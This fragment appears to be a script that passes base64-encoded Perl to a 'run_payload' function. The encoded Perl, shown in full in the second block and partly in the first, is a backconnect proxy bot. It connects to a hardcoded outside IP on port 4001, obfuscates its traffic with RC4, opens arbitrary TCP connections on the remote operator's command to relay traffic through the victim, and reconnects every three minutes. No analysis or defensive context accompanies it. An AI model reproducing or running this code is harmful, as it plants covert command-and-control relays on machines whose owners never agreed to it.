JICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_42.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg0JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X1